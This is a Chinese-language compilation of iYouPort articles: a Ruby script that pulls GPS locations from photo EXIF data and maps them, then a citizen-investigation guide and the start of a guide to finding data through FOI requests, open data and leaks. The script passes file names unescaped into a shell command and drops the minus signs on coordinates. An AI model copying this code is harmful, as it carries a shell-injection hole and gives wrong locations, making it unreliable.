在一批在线图片中，您可能会发现只有2%的图片有地理位置信息的元数据。考虑到这一点，将筛选成百上千张图片的过程自动化的作用就更加明显了。

下面使用Ruby编程语言写了一个小脚本，它不仅可以筛选图片，自动挑选出这些地理位置数据，还可以将它们绘制在地图上。

把这个脚本放在一个叫做 “geobatch.rb” 的文件中，然后在有您想处理的所有图片的文件夹中运行：

```
def get_gps_from_exif file

`exiftool -c "%.6f" #{file} | grep GPS | grep
Position`.scan(/(\d+\.\d+)/)

end

zoom = 2

path = "*.JPG"

map_url = "http://staticmap.openstreetmap.de/
staticmap.php?&amp;zoom=#{zoom}
&amp;size=865x512&amp;maptype=mapnik&amp;markers="

all = Dir.glob(path)

total = all.count

has_gps = 0
```

```
meta_exif = 0

all.each do |file|

if gps = get_gps_from_exif(file)

if gps.count==2 # lat and long

coord = "#{gps[0][0]},#{gps[1][0]}"

puts "=」 #{file} @ #{coord}"

map_url += "#{coord},lightblue#{file}|"

meta_exif+=1

has_gps+=1

end

end

end

puts "=」 Total #{total} images | #{meta_exif}
with EXIF | #{has_gps} with location"

puts ("=」 Percentage with location = %3.2f" %
[(has_gps*100).to_f/total])

puts "=」 Map URL: #{map_url}"
```

结果将与下面的文本类似，并带有附加了地理位置信息的图像数量（在这种情况下，有四个图像）：

```
$ ruby geo batch.rb

...

=」 4.JPG @ 37.529000,122.266000

=」 3.JPG @ 43.740167,7.430000
```

```
=」 2.JPG @ 37.421833,122.084333

=」 1.JPG @ 41.373167,2.189500

=」 Total 35 images │ 5 with EXIF │ 4 with
location

=」 Percentage with location = 80.00

=」 Map URL: http://staticmap.openstreetmap.de/
staticmap.php?
&amp;zoom=2&amp;size=865x512&amp;maptype=mapnik&amp;mark
43.740167,7.430000,lightblue3.JPG|
37.421833,122.084333,lightblue2.JPG|
41.373167,2.189500,lightblue1.JPG
```

这就产生了所有这些可用的坐标，并可在一个URL上访问，可在OpenStreetMaps上查看，如下图。

○□

Digging into digital images: Extracting batch location data automatically

原文

不再吃瓜：把你的”围观”变成利器 — 公民调查指南（1） - iyouport

公民调查指南-不再吃瓜

【2020年3月19日存档】吃瓜群众不是公民，公民不是吃瓜群众

“围观能改变” 什么？可能什么都改变不了，如果你仅仅是围观的话。

当权者并不担心公民的 “围观”，他们担心的是公民由此发现真相。

那么如何发现真相才能令 “围观” 具有真正的价值？

开启一个新的系列内容，我们希望能回答上述问题。

您每天都在围观 —— 您花钱购买手机流量、定期缴纳上网费用、把自己任何空闲的时间都贡献给 “围观” 了，您得到了什么？您关心的问题最终获得满意答案了吗？

那么为什么不亲手改变这点呢？如何改变？

唯一的方法是真相。尽可能多的真相。

当权者最害怕的是真相，而不是问题的曝光 —— 因为只要能让你相信他们能控制局面，他们就可以继续掩盖对他们来说最致命的真相；甚至借机进一步操控社会（利用问题/灾难笼络社会凝聚力是当权者最擅长的手段）。

真相不一定是灵丹妙药，但是如果没有真相，任何问题都无从解决。

是的，每一位公民都可以通过调查挖掘到真相，全世界的公民都能做。

当权者可以收买和控制职业媒体（他们做得很成功），但是他们无法控制整个社会的每一位公民。这就是为什么我们的导语是 “如果职业

记者不行，那么公民记者就应该很行”。

正因此，我们希望将曾经一直以来只有专业调查记者才能掌握的能力，普及给每一位公民 —— 拥有调查技能的人越多，真相就越藏不住。

不论是普通公民、非政府组织的成员、或非新闻专业的任何人，只要您希望走出 Matrix、希望看到那些强大的控制者不想让你看到的东西，您就应该掌握这些技能。

- Don’t Miss It 《如何从 **Matrix** 中醒来？》

世界各地都有许多令人印象深刻的公民调查成功案例，其中一些也将包含在本指南中。为所有人提振士气。

数字化的普及和互联网访问的增加意味着受过专业培训的记者和公民调查员之间的界线越来越模糊，因此我们可以预期公民调查的数量将会大幅增加。

调查是一个可以学习的技能

「图」

曾经一直以来，职业记者才有机会学习如何进行调查。他们花了学费，有些甚至价格不菲。

而如今，所有公民都可以进行调查 —— 完全免费。

这大概是互联网技术最具民主价值的（唯一）用例了。

公民调查员通常从一个非常重要的优势开始 —— 动力。

他们的动力可能基于特定的刺激、对政权的怀疑、或特殊的技术兴趣，等等。不论如何，目标就是优势。

公民调查员的另一个优势是拥有本地经验或专业知识。思考您的想法并评估目标至关重要。

☞从一个问题开始为研究奠定了基础。之后就是基本步骤了，包括：

- 研磨问题
- 制定一个寻求真相的计划

- 进行研究
- 汇总和评估您的所有发现
- 总结您的结论。

在这里看到我们曾经对详细步骤的说明：《如何掌握调查的心智》。

我们将为上述所有方面提供技巧建议，这些经验来自于全球诸多优秀的调查记者。

☞和所有行动一样 —— 就如我们在 “直接行动技巧指南” 系列中强调的 —— 它需要您的创造力，而不是死记硬背的能力。任何行动包括调查，都不是单一方法能够完成的，即兴发挥非常重要。

心态和准备问题

「图」

☞提出问题是发现答案的跳板。正确的问题既可以激发也可以约束调查过程。

不一定是完美的问题。毕竟，您正在寻找未知的事物；它也不必很精确，但肯定不能太笼统。

您真正想知道什么？你在找什么？——这个主问题可以帮助您前进。

从总体问题来看，子问题很可能会接连出现。您甚至可以设定多个备选的假设。

☞请注意有假设与有偏见是不同的。如果调查的依据是错误的假设或个人偏见，那么调查的基础将不会稳定 —— 如果对正在发生的事的认识太过狭隘，很可能会阻止您看到真正的原因和事实。

- 再次强调您必需首先熟知《什么是调查？》这一解析非常重要

因此，⚠您的调查过程应该是质疑自己的假设、而不是试图去证实它。如果不断浮出水面的证据指向了另一个方向，那么您必须修改自己的假设。无论它多么违背您的基本立场 —— 它更可能是事实。

如果没有证据足够能推翻您的假设，那么您的假设就是事实。

☞我们在 “防骗” 技巧中着重强调过这点：尝试去证伪而不是证实，是情报分析师避免被愚弄的基本思考方式 —— 这在任何调查中都是

要点。您可以在下面回顾这一系列的内容：

- 《媒体操控：战略性欺骗的重头戏》
- 《欺骗不是撒谎这么简单：对峙的艺术（1）》
- 《伟大的自欺—战略性欺骗的心理维度（2）》
- 《想象力、创造力和较量—欺骗与反欺骗的互动（3）》
- 《偏执的保密—欺骗的主要方法之一（4）》
- 《让你看见—欺骗的积极方法之二（5）》
- 《反情报能力和思维模式—识别战略性欺骗的主要途径（6—上）》
- 《辟谣往往无效除非自我批驳—识别战略性欺骗的主要途径（6—下）》

这是进行调查的最艰巨的挑战之一 —— 批判性思考是需要努力的，而偏见则是自然而然的，也是任何追求真相的人应该克服的。继续保持怀疑的态度，并在证据出现时保持开放的态度，至关重要。

对调查主题存有政治观点或个人立场，非常常见，而这正是令很多调查失败的根本性原因。请记住，我们要的是事实真相，而不是去捍卫谁的立场。

☞与您的调查报告相矛盾的任何证据都需要包含在您的分析中。请记住，调查可能不会总是将您带到您认为应该的地方，但这并不是一件坏事。

有时事实会引导您走向意外之路。还要记住，世界是一个复杂的地方，坏人并不总是那么坏，好人也不总是那么好。

开始您的研究

「图」

☞在此开始阶段，请盘点一下您不知道什么 —— 那就是您需要查找的内容。把它们记下来。

进行深入的背景研究是有回报的。

许多调查人员喜欢在调查目标人之前先看资料；在面对面采访之前先钻研文件。但是例外依旧有用，例如从专家那里获得基础知识，以防止被目标人蒙骗。

☞探索有关您的调查主题的文章。在阅读时，请尝试了解以下内容：

- 该主题的基本事实
- 相关的历史记录和数据
- 该主题领域的常用语和它们的定义
- 该领域的关键行为者是谁

记住经典的：Who? What? Where? When? why?

要问的问题

继续问（自己）以下问题：

- 公共文件/数据是否存在以及在哪里可以找到？
- 可能存在哪些**非公开**的文件/数据？
- 文件和数据存放在哪里？
- 谁参与其中？
- 这些参与者之间是什么关系？（可以创建地图）
- 存在哪些既得利益？
- 关于这件事人们能告诉你什么？
- 事件实际上在哪里/哪个层面发生？
- 有什么后果？
- 谁受益？谁受损？

当您深入研究时，您无疑会完善一系列目标。

☞现在要做的就是制定计划的后续步骤时间表，确定优先级。

许多研究人员更喜欢圈出话题，在与关键人物面对面之前收集充分的证据 —— 要问到 TA 哑口无言。

☞考虑您的日程安排。考虑哪些调查工作可能需要更长的时间，例如索取文件、数据分析、追踪，等等。

正式走访

访谈是调查人员工具箱中最有效的工具之一。

☞做好准备和认真倾听是成功的关键。采访是一种类似于良好对话的艺术。关于这点我们会在未来单独介绍（如果您感兴趣的话）。以下是您首先要了解的步骤：

1、做好准备：此步骤首先考虑您的采访对象可能知道什么，他或她的动机是什么、以及您想从中了解什么。选择一个适合受访者的场所（而不是您自己方便的场所），让他或她放心，从基础上建立信任。

2、基本规则：说明您是谁，对什么感兴趣以及为什么，打算如何处理这些信息、同意如何使用信息，如何归因于此？会使用此人的真实名字吗？考虑是否可能损害其安全性。

3、好的问题：写下您的问题并合理地组织它们是明智的。一些专业人士喜欢从相对较软的问题开始，制造一个宽松的气氛。考虑中性的开放性的问题，但不要回避针对性的询问。

☞避免使用那种只回答“是”或“否”的问题；应该专注于诸如 “如何”、“为什么”和“有什么” 之类的问题。简短的单一主题问题是很好的选择。您必须认真倾听以便提出后续问题。

在可能的情况下录音，或者做笔记。使用相机，包括用于文档拍摄的相机。

☞准确记录研究发现是您要做的最重要的任务之一。

您的信誉将取决于您的信息和文档的可靠性。

☞重要的是考虑如何保护自己和资源不受伤害。基本步骤包括强密码和加密电话。有关保护性措施的提示请参见下面的详细解释 —— 非常重要：

- 《当你手握真相：最基本的防护知识 (1)》
- 《如何安全地留住证据：给真相的记录者一些技术技巧建议（2）》

做研究：调查线索

「图」

调查人员最常犯的错误是没能彻底挖掘已经公开的全部相关信息。不要重新发明轮子！

☞搜索新闻报道、学术报告、政府记录、本地档案、以及其他有可能存在相关信息的任何来源，直到您确定对那里已有的内容已经充分地了解。然后，可以在此基础上进行构建。

现代技术会刺激人们产生一种“先上网搜”的冲动，这也许很好；但是，作为调查者您应该记住，并非所有内容都在线。例如，某些政府文件可能只能在政府办公室实际获得。

☞此外，在线内容并非都可信，因此请仔细评估来源是否可信、以及找到科学的方法验证信息 —— 这至关重要。

☞考虑可能存在所需信息的替代位置：

- 除了国家政府机构的记录之外，是否还有法院记录或地方记录？
- 谁可能收集了资料并拥有相关档案？社区活动家、业余爱好者、学者、和专业协会，都是富有成果的地方。
- 搜寻报纸和杂志的期刊通常很有效。
- 与图书馆管理员、档案室管理员搞好关系。

☞好的探索需要想象力。

如果一条路径被阻塞，请寻找其他相关信息来源。如果找不到所需的文档，问自己还可以如何获取信息。请保持灵活、敏捷、机智。

☞本指南全面建立在“开源调查”基础之上，也就是说，开源调查应该是您的基本功，而本指南是在您拥有这份基本功的前提下正式进入调查工作的大门。请仔细阅读“开源调查”栏目的具体内容。

- 《如果你擅长搜索，你能找到一切》您必须掌握的搜索工具

尽职调查

「图」

当您进行研究时，请保持谨慎。正如金融界那帮家伙所说的那样：通过确保文件真实可靠并警惕事实矛盾和矛盾之处来行使“应有的义务”。

☞在整个研究过程中，请保持警惕。您听到的可能不完全都是正确的。

事实的准确性需要经过科学的确认。应该对消息人士的话保持怀疑。可能需要验证照片；在最坏的情况下，文档可能都是欺诈性的 —— 验证，不断的验证至关重要。

☞切记老编辑的格言：就算是你妈说她爱你，也请验证一下。

- 《从信息验证到安全防御—日常必备的调查工具包》
- 《验证在线信息真伪的简单思路》
- 《10个简单技巧 快速验证社交媒体热门视频的真伪》
- 《图像验证工具哪个最好用？》
- 《信息验证技巧：如何确定照片的拍摄时间？》
- 《公民记者如何验证民间爆料视频的真实性？》
- 《信息验证：如何自动反向图片搜索 YouTube 和 Vimeo 的视频？》
- 《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》

☞“主要” 文档是原始文档，可提供有关您的调查主题的第一手证词或直接证据。

从文档中提取事实时，请回头寻找原始来源。检查来源的凭据、搜索作者、寻找对引起“事实”的作者或研究的批评。

☞您可能需要寻求帮助来理解复杂的文档，尤其是涉及技术、官僚、法律、和财务专业语言的文档。当您咨询专家时，请记住，他们不仅是知识和意见的来源，而且还可以指导您学习其他文档和引荐其他专家。

所以，请总是问来源这样的问题，例如：我还应该阅读什么？我还应该和谁聊这件事？谁真正亲眼目睹了？…… 等等。

☞“次要” 来源，例如 发表的文章、网站、和社交媒体，可能并不可靠。请验证！

越来越多的公民调查员转向社交媒体索取信息。这样的“众包”可能有用，但是必须经过严格验证。验证方法见上面的诸多链接。

研究有一种扩展的方式，而调查可能令人厌烦。一些线索可能令人失望。就是这样，你必须习惯这点。

☞专注于最初的目标可以帮您提振精神。在此阶段，您可能需要起草新的问题和假设 —— 随时注意新动态的出现。

来源

「图」

除非有价值连城的文件，否则大多数调查都需要具有可靠来源和相关领域专业人士的直接知识和观点。

☞通过开源调查并与人们交谈，确定可能的来源。一些想法包括：

- 曾就此话题发表过演讲或写作的专家；
- 官员，但是不要只想到高层官员，有时候底层知道得一点不少；
- 受影响的各方；
- 相关领域的倡导者、与该主题相关的公民组织成员，例如 民间团体或专业团体；
- 以前与该主题相关的人员，例如前雇员。

☞考虑可能的关系：

- 谁受到不利影响、谁受到有利影响？
- 谁获胜？
- 谁失败？
- 谁可能听到或看到过什么？
- 谁有兴趣对此多说几句？

一些研究人员创建了定义上述关系源的图谱。电子表格也可用于保留可能来源的列表。

☞您使用的来源数量对于信息的完整性来说至关重要。请注意两个完全不相关的来源被认为是最小值，但更多则更好。

更大的资源库不仅可以确保信息的可靠性，而且通常还意味着更多的细节和细微差别。您可能亲眼目睹了某些东西，这也是很有用的。

☞对来源进行研究。“专家”真的有良好的信誉吗？可能是既得利益者吗？他们是谁？他们的议程是什么？“目击者”真的看到了该事件吗，还是只听说了该事件？确认他们的陈述。

☞来源可能需要一段时间的培养，特别是在涉及敏感的调查对象时。对他们的恐惧要所准备。

与消息来源的会面很可能不止一次，来源是否能给你真实的东西通常需要建立在信任的基础上，所以，整个过程您都需要培养信任。

做好笔记。在可能且合法的情况下，录音和录像，但是也要记录笔记。

☞除了与人交谈外，在适当的时候进行实地访问非常重要。“实地考察”有时会产生意想不到的结果。而且在现场您可能会遇到可以帮助您的人。

记录您的研究

「图」

无论您是在网上查找还是在现实中与人交谈，保持良好的记录都是至关重要的。

☞确保您可以指向信息的来源并证明其准确性，保留研究和联系人的记录。

保留您的研究记录意味着保留文件并知道它们来自何处。在线文档随时可能会消失，请通过打印或下载来防止这种可能性。这意味着要跟踪您从谁那里以及何时听到的声音，并记下详细的笔记。

☞保持您的调查结果井井有条。不论是纸质还是数字形式，要有准确的标签和仔细的归档。

整理得井井有条的材料档案将使您更容易找到自己知道的内容、并定义您不知道的内容。建议创建一个主文件，以作为您材料所在位置的索引。

调查结果

「图」

对于记者而言，调查的结果通常是文章或广播。而公民调查员可能会写文章、调查报告、博客、或给权利组织的信。或者他们可以将其调查证据带给本地或国际法庭。

- 《非政府组织如何与联合国人权委员会合作以改善国家的人权状况？》
- 《铁幕之下：全球反抗者如何对战监视者？》

无论使用哪种媒介，您都会希望有效地传达您的发现。

☞清晰、简短地总结您的结论几乎总是很重要的。

☞考虑一下您的组织形式。一种经过尝试且真实的组织形式可以按时间顺序讲故事，但其他模式也可以使用。在开始写作之前，大纲通常都会有所帮助，即使以后会有所变化。

- 在这里看到公民记者讲述线索的样板作品《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》
- 优质的调查报告样本《信息战：揭露政府的宣传机器如何伪装成“独立媒体”和 NGO 以混淆视听》
- 深度调查案例《雄厚的财力，深藏不露：美国间谍如何协助专制国家构建一个间谍帝国》
- 开源情报深度调查报告样本《「可视化信息战」 第 1 部分：在线媒体上的政治宣传、压迫和攻击》；《「可视化信息战」 第2部分：社交媒体战场、人工政治和逮捕》
- 公民权利组织应该最擅长的调查报告样本《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》
- 公民可掌握的开源调查报告样本《“智能城市”究竟是个什么鬼？！》
- 公民可掌握的开源调查报告样本《演示：对 Elon Musk 比特币诈骗的开源调查》

☞下一步重新考虑事实差距、并确保事实是正确的和有据可查的。正确的名称和位置都很重要，小错误会削弱信誉。

☞在编写时以及随后进行编辑时，请问自己：这份调查报告是否能使初次阅读的读者可以清楚地理解事情的来龙去脉？这个故事对读者有意义吗？哪方面的意义最重大？突出出来。

☞考虑减少无关的语言和材料。编辑人员经常谈论节奏问题 —— 也就到“叙事”是否能带动读者。照片、图表和其他可视化效果也有助于讲述故事。

☞完成作品的最后几天通常意味着仔细检查所有引述的事实，并与您以前不想与之交谈的调查主题相关的人进行交流。

让熟悉和不熟悉该主题的人员认真阅读您的报告。听取他们的意见。

☞作为一名调查员，您可以不受检察官的高法律标准的约束，例如“超出合理怀疑范围的证据” 或 “概率均衡” 是否以一种或另一种方式提示。但是，如果您的调查报告准备提交法庭、立法者和检察官，这些都必须考虑周全。

👉继续查看。您的报告最后是否包含有可能被指控诽谤的信息？您的调查可能会有什么样的后果？考虑您自己的安全以及所有受影响者的安全。要尽可能让倒打一耙无法施展。

总的来说，您是否满意调查结果的公平性？你能始终捍卫它吗？你必须能。

调查很少是终极的。那么，作为调查员或倡导者，您可以如何跟进？

以上是本系列的第一部分内容。接下来我们将介绍更多详细的知识。下次见。〇

—— 未完待续 ——

原文

如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（1）- 哪些方式可以找到您想要的东西？ - iYouPort

公民调查指南-不再吃瓜解码秘密

本指南主体将分为4部分发布，此后还有附带其他内容和资源

「图」

「图」

【按】IYP曾经与一些中国的公民调查人员交流，我们为这些中国公民的积极思考、创意和行动力而感到兴奋。独立公民调查和调查组织是直接行动的一种很有力的形式。

一些朋友曾经询问能否将一项能力相关的所有内容做成一个综合指南，这的确是一个很好的想法，事实上我们之所以制作了5个列表，正是为了这个目的 —— 从理解问题到想办法解决问题的系统。当然，这些列表依旧是很长，而且不是简单明了的树形结构，这是因为您可以根据您的具体需求从中组织出很多子系统来。

而我们很可能无法预测所有读者的具体需求，由我们来制作综合指南的结果也许会适得其反，限制了您的创造力发挥。

本系列内容不同，它是专门服务于公民独立调查工作的一份详尽指南，准确说是一个框架，它列出了您有可能想要采取的模式、可以尝试的工具、资源、以及思考方式。

当 BlueLeaks 泄漏警察数据库时，一些中国读者留言询问 “这意味着什么”？如果您能找到方法自己分析和利用这些数据，您就能从中找出支援您的反抗目标的重要见解。

再一次，公民无法完全依赖职业媒体的调查工作，这些媒体将对信息

作出有利于他们的金主（而不一定是我们这些公民）的利益的取舍。吹哨无疑是重要的，信息权运动也在全球很多国家取得了卓越的成就，但更重要的是，这些信息流出来之后如何从中挖掘出重要的调查线索、以揭示鲜为人知的权力秘密，是公民调查人员急需掌握的技能。

希望这份指南能对您有所帮助。

「图」

「图」

本指南尽可能使用精简的方式讲述公民调查的方法问题，关于：从获取数据开始，到利用数据。它可能会显得像一个风格和组织原则结合在一起的指南，相比零散的知识来说，它将更方便您的使用，抵达您最感兴趣的部分不会花太长时间的查找。

关于数据的指南其实并不少，那么本指南的特色是什么？简单说，它将重点关注的是数据在一些可能情况下的功效，而不会迷信于数据的力量。

关于这份指南：来自8个国家的11人参与了这份指南的编写工作；在38个案例研究中介绍了来自20个国家的情况；配有76张图片；推荐了64种工具和89种资源。

本指南适合所有国家的公民调查人员、非政府组织、独立权利组织、反抗社区，即 所有支持直接行动的人和群体。

【注】本文中涉及到的书籍和资料，您可以在这里下载：

马上开始。

查找

这一节将探讨“寻找”数据的三种方式。

首先是政府通过信息自由请求或开放数据计划允许公民查阅一部分数据，但这种情况极为罕见，并且，即便拥有信息自由法案的国家，当权者也会极力掩盖真相。回顾一个信息自由法案失败的反抗案例：《高明的反抗》。

其次是吹哨人和机构泄露信息，利用数据库寻找数据，也就是透明度

革命这几十年来所做的。吹哨平台和吹哨人获得了很多成功，但是也遭到了最严重的打击 —— 以美国为首的针对吹哨人展开的斗争蔓延至全球，极为惨烈：说了真话的人被判处50年监禁，全球最好的吹哨平台负责人面对175年监禁的惩罚，

但依旧没有磨灭人们的斗志，不断有新的泄漏出现，反抗不断升级、变得更加激进。前人的遭遇帮助后来者积累了更丰富的经验，教育也在跟进，未来依旧是有希望的。关键是，让人们掌握更多安全技能，以尽可能少地避免迫害的发生。

最后，当没有信息自由法案、也没有吹哨人和黑客主义行动者的泄漏，您无法直接查看数据，这种情况下您就必须找到创造性的方法来寻找数据。

「图」

「图」

在开始之前

在决定您需要探索什么数据，和/或扩大您的调查时，您可以有很多方向。在开始讨论在哪里找到这些数据之前，重要的是要考虑您需要这些数据来做什么。

📌 我们将从五个考虑因素开始，确定这些因素有助于决定您需要什么样的数据以及在哪里寻找数据来源。

1、数据是否特别符合您的调查目标

这关系到您要实现的目标是什么，您的受众是谁，以及可能对他们有用的数据输出类型。

他们需要哪些数据，觉得这些数据可信吗，您能收集到这些数据吗？您如何将数据传递给他们，您希望他们用这些数据做什么？您如何知道这些数据对于推进您的反抗目标是有用的？……

提前思考如何使用数据，将对您收集数据的方式以及数据的详细程度产生重大影响。从一开始就明确这一点，将使您免于回过头来填补漏洞。

比如您正在调查一起强迫失踪案件 —— 当权者对活动家的迫害，您

的受众不仅包括该事件的当事人亲属，还有当事人所在的社区、国内外各种人权组织、本土关注人权问题的活动家社区，如果您的调查目标是收集证据起诉警察部门的非法行为，那还要包括律师和法庭。

您需要考虑所有这些期待您的调查结果的目标受众都着眼于哪些数据，尽可能照顾全面，数据类型要符合需求 —— 尤其是提交给法庭的证据，逻辑链必须清晰和正确；传递这些数据的过程需要确保安全，不仅有您必须掌握的技术方面的匿名传递方法，也包括面见对方时绕避监视跟踪的技巧。

并且，您需要跟进这件事，当您将数据交给对方后，他们如何使用它来推动反抗运动和法律行动，您将有资格评议他们的做法是否成充分 —— 有错过什么价值吗？用建议的方式提醒他们。

2、回收利用现有数据集

可能会有一个由倡导者和官方组织和团体组成的 “生态系统”，它们已经在收集和发布与您寻求的问题有关的信息。

想想看，您是否可以通过增加现有信息的价值，制作新的分析，或以有趣的新格式或服务向新的受众提供这些信息，从而改善现有信息的使用方式？

您是否可以通过与这样的团体建立伙伴关系来实现您的目标？当然，您可能有很好的理由独立进行调查，即使其他人已经在研究这个问题；这些理由可能包括：创造关键的和替代性的信息资源、通过证据积累促进您所在的倡导组织的复原力、以及培养自己的技能和能力，等等。

3、研究方法和支持的技术

您将使用哪种方法来收集调查数据？

例如，人权工作中常见的文件和调查方法依赖于对可能构成侵犯人权事件的受害者和幸存者的报道或采访，然而，要使用这类材料作为有意义的分析来源，就需要了解统计学抽样、内容分析法和一系列技术。

再一次，您需要紧贴您的目标，采取最有效地服务于您的目标的研究方法。

4、您和参与调查项目的其他人将面临的风险

由于许多倡导动员活动都集中在敏感、禁忌或政治性很强的话题上，因此，您必须对所收集的数据可能涉及的各种风险保持敏感。

您将采取什么措施来保护受访者的身份和他们提供给您的材料的内容？如果将信息存储在电脑上，您将采取什么措施来确保信息能被正确的人使用，而不会落入坏人手中？

📌 这里需要您使用到我们在 “敌对环境中的安全性”系列、“难以被追踪”系列、以及以下这些给行动者的安全技巧中介绍过的知识：

- 《公民取证技巧：如何留住真相？》
- 《拍摄取证 2：详述步骤和具体技巧》
- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》

5、您的计划涉及的范围和可持续发展性

试着勾画出您正在计划的数据收集举措的覆盖范围、规模、地理范围和全面性。

您现在的工作规模是否允许您有效地覆盖这个调查主题？您是否有足够的时间和资源进行测试以验证其对您的反抗目标的有效性？您是在进行一个 “一次性” 项目还是一个长期的计划？如果您正在计划发展，您认为当您的计划扩大时，会遇到什么样的系统和人员管理挑战？

希望这些问题能够帮助您决定可能需要什么样的数据以进行调查。准确回答这些问题很重要。

现在我们将看看在哪里可以找到这些信息。

「图」

「图」

挖掘数据

如上所述，通过信息自由法案申请、吹哨人、以及技术和创造性发布的数据，已经使得越来越多的数据可以公开获得。各国政府和国际机构正在公布更多的数据，世界各地越来越多的举措正在使公民反抗者

更容易以有意义的方式使用这些数据。

调查人员、艺术家、活动家、和技术专家正在利用这些越来越多的数据去揭露权力滥用和阴谋，澄清税款是如何被使用的，并研究公共服务的真实运作方式。

然而，有些时候情况恰恰相反。正如我们曾经在“开源情报挖掘谷歌政治旋转门”的演示中所强调的：越是接近权力的顶层，信息就越少、保密度就越高、越难以找到证据。不论是政府还是寡头公司，都是如此，官官相护，如果您的调查对象是这些“1%”，这些权势会联合起来阻止你。

这在大多数国家都是如此，即便有信息自由法案，也基本形同虚设。许多活动家所掌握的数据往往是通过顽强而冒险的调查，以不寻常的形式被发现、泄露出来的，如吹哨人和黑客主义行动者。

如今所有人生活在一个量化的社会中，每个人都在不断地产生数据，这在一定程度上对于揭露隐藏的证据来说是极其重要的，因为这为我们创造了新的探索渠道和选择，以对比审视和批驳所谓的"主流叙事"。

仍然存在有些地方和人既没有连接到互联网，也无法使用技术，然而不幸的是，他们的生活和档案也依然受到量化社会的影响，因为各种行为者争先恐后地连接和量化这些人和地方，往往很少关注隐私、同意、人权和其他政治、社会、经济和文化后果。

这就是为什么如今开源情报的能力被全世界所“重视”，当然，这其中有善意的、也有恶意的 —— 在这里看到详细解读，关于正义的人们如何才能避免自己好心办坏事：《这不是一场竞技表演：关于IYP为什么要采取开源情报》。

M.C. McGrath 在开源情报协助透明度革命的访谈中介绍了这三种不同类型的开源数据。在这里看到这份访谈，我们认为这份访谈很重要，虽然它可能因过于激进而引起争议：《用技术作为促进透明度革命的武器：一个成功的尝试》。

他指出的第一种是：FOIA请求或开放数据倡议，这很好，但是，政府完全可以选择发布什么，并操纵公开的内容。所以在某些方面，这是最弱的方式。

第二种就是透明度革命，吹哨人将机密文件发布给记者和媒体，并以

这种方式公之于众。这具有非常大的危险性，而且随着全世界对吹哨的维稳程度快速升级，可能难度会更高。

- 不要错过《简易吹哨平台传输泄漏数据：洋葱汤指南》
- 尤其是 《(公民)调查记者如何与吹哨人合作：7点提示》

第三种方式就是，利用内部人和机构自己不小心泄露出来的数据。这个渠道强大的地方在于，人们并没有明确决定要发布，甚至连吹哨人都没有明确决定泄漏这些信息。但是，这要靠调查人员去收集和分析理解。单独的信息碎片可能看起来不起眼，但是，当它们以合理的方式联系起来时，就有可能揭露惊人的秘密。

这方面有一系列非常显著的案例，比如见这里《政治涂鸦和隐藏的信息：标志、符号和其他视觉线索协助追踪调查的入门指南》。

这种方法不依赖于任何其他实体，除了那些不小心发布信息的人之外，这种情况总会以某种方式继续发生。

这一小节内容将探讨上述三种 “挖掘” 数据的方式。

数据在那里，但是您必须恳求政府交出来 —— 信息自由法案或开放数据请求

您认为您的国家的公共机构创造了多少信息和数据？长期以来，各国政府至少公布了其中某种数据，通常是通过国家统计局、或通过各种不同的专题网站。然而，目前一些政府公布的数据的规模和性质与甚至短短几年前的规模和性质已经有很大的不同。

在这一领域有两个互补的积极 “运动”。第一个是 “信息获取” 运动，也被称为信息自由运动（**FOI**）；第二个是 “开放数据” 运动。

信息获取运动者向政府施加压力，要求政府制定和实施法律，使公民能够向任何属于国家或受国家控制的官方机构提出问题，并得到及时和全面的答复。

他们的理念是，用纳税人的钱制作的信息属于纳税人，应该不受限制地提供给公民。当公共机构对民众的疑问做出回应，并主动公布他们的信息时，民众就能看到、更并好地了解和监督自己的税款资助的公共机构的运作。

获取信息被认为是有效参与公共生活的必要条件；是纠正人民与管理

他们的强大机构之间的权力不平衡的重要工具。

而开放数据活动家在这些理念的基础之上，关注公共机构发布的数据和信息的再利用。这是互联网带来的两个重要变化的后续：

- 共享任何类型信息的成本、以及共享和使用信息的方法，越来越便宜；
- 世界各地的“数字原住民”都在互联网上创造和消费信息。许多人将在线论坛、社交媒体和博客作为生活的重要组成部分，利用它们来学习、形成观点和寻求建议。其他技术性较强的群体会制作数据库和可视化 —— 将其放在网上，在地图上显示，使其可搜索 —— 以尝试并展示有趣的或新颖的视角和事物。

技术的可获得性和连通性，以及越来越低的成本，加上法规迫使各机构分享公共资助的数据汇总，使得开放数据的概念在过去几年中不断上升。

开放数据之所以能够实现，是因为这些机构一直在使用信息通信技术来收集和分析数据，如果您已经拥有了人和机器可读格式的数据，为什么不把它开放出来呢？这样就可以在不同的情况下对其进行验证和再利用。

这种方法开始在政府和民间活动中进行试验，往往取得了有趣的结果。当然，政府和民间团体所侧重的主题截然不同 —— 就如在中国，镝次元那样的公司倾向于展示例如“中国新中产阶级年龄分布图”、或者“中国AI＋融资状况”等等，而公民权利组织如“非新闻”则使用数据专门制作“中国民间维权运动分析”。

开放数据的影响需要更长时间来确定，权利倡导团体对它的一个共同的反对意见是，更多数据的可用性并不能自动转化为更有效的服务。开放数据和信息自由权本身并不是目的，它们远非完美，如何有效利用它们是需要一些技巧的。

在2015年9月发表的题为“数据科学如何为善”的论文中，Julia Koschinsky 讨论了如何从数据中获得新的且可操作的见解，以及如何将这些见解转化为影响的挑战。

她对被认为是有效的开放数据计划进行了分析，并确定了数据科学技术可以被增加价值的问题类型。她将“有效”确定为那些“被广泛认为能产生新的、可操作的见解、并产生社会影响的”数据。她将72项案例研究分为四大类：#通过将数据与更高的时间和空间分辨率结合在

一起，并自动执行数据分析以实现更快、更具体的本地响应，从而改善数据基础架构；

- 预测风险以帮助有针对性地预防问题发生的服务；
- 通过近乎实时的预测来优化资源配置，更有效地匹配供应和需求；
- 利用行政数据来评估原因、有效性和影响。几乎在所有情况下，所产生的见解都是基于自动程序的、本地化的、接近实时的和被分类的。

1. Beyond Access: 欧洲获取信息组织和开放知识基金会的报告《开放政府数据和(重新)使用公共信息的权利》(download pdf) 很好地概述了世界各地信息获取和开放数据运动的状况；

- Legal Leaks: Access Info Europe 和 n-ost 出版的《如何获取政府信息的记者指南》；
- 信息自由倡导者网络 (FOIAnet)：查找谁正在您的国家的信息获取运动中？
- 查找您是否可以通过 Right2Info 和 FreedomInfo 在您的国家/地区使用信息法案；
- 通过查看 DataCatalogs.org，查找可能对您有用的公共数据；

1. 不要错过我们的透明度革命专栏

